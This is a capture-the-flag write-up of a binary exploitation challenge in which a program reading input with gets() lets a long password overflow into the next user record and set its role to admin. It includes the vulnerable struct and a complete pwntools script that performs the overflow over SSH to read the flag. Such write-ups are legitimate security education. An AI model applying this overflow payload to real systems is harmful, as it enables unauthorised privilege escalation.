[Pwn] Manager
Application inside directory /home/manager provides user registration. Can you register as admin?
For this challenge we’re given source code of the application, SSH credentials and information about an application on the server.
Source code
After logging in and going into the directory pointed out by the task description we can see the flag file, source code and a SGID binary that will allow us to read the flag file.
The program allows us to perform 3 actions:
- Add a user
- Delete a user
- Log in with a user (if the user is an admin it will also print the flag)
The program differentiates between normal and admin users by using an enum.
1
2
3
4
5
struct User {
char name[100];
char pwd[100];
enum {admin, regular} role;
} users[MAX_USERS];
Admin will have the value of 0 while regular users will have the role value set to 1.
The problem here is that the program reads the values from the user with gets which doesn’t have any strict input length limit, meaning that we are able to write data past the destination buffer.
We can abuse that in this case by:
- Registering two users
- Removing the first user
- Registering the first user again with the password being long enough to overwrite the 2nd user’s login, password, and the role with a null byte.
We’re fortunate enough that gets will allow us to pass a single null byte which it will save in the place we want, we can prepare a python script to do all these actions for us.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from pwnlib.tubes.ssh import ssh as ssh_raw
s = ssh_raw(host='[redacted]', user='[redacted]', port=0, password='[redacted]')
p = s.process(['/home/manager/manager'])
log.info('Registering the first user')
p.sendlineafter('Enter number: ', '2')
p.sendlineafter('Enter new username: ', 'test1')
p.sendlineafter('Enter new password: ', 'test1')
log.info('Registering the second user')
p.sendlineafter('Enter number: ', '2')
p.sendlineafter('Enter new username: ', 'test2')
p.sendlineafter('Enter new password: ', 'test2')
log.info('Removing the first user')
p.sendlineafter('Enter number: ', '3')
p.sendlineafter('Enter username to delete: ', 'test1')
p.sendlineafter('Confirm password: ', 'test1')
log.info('Re-registering the first user')
p.sendlineafter('Enter number: ', '2')
p.sendlineafter('Enter new username: ', 'test1')
p.recvuntil('Enter new password: ')
# Overwriting: 1st password (100), 1st role (4), 2nd username (100), 2nd password (100), 2nd role (1, null byte)
log.info('Sending the payload overwriting the 2nd user\'s role ')
p.sendline(b'A'*100 + b'A' * 4 + b'A'*100 + b'A'*100 + b'\x00' * 10)
log.info('Logging in')
p.sendlineafter('Enter number: ', '1')
p.sendlineafter('Enter username: ', 'A' * 200) # 200 because the null byte is only after both the username and password
p.sendlineafter('Enter password: ', 'A' * 100)
p.recvlines(2)
log.success(f'Flag: {p.recvline().decode()}')
After running the script it will return us the flag:
Flag: CTF{OverRun!}